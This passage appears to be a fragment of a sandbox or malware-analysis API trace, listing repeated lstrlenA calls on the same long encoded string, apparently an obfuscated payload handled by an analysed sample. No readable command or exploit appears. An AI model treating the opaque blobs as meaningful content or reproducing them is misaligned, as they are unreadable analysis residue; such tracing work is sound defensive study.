MGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.883] lstrlenA (lpString="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") returned 5792 [0042.883] lstrlenA (lpString="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") returned 5792 [0042.883] lstrlenA (lpString="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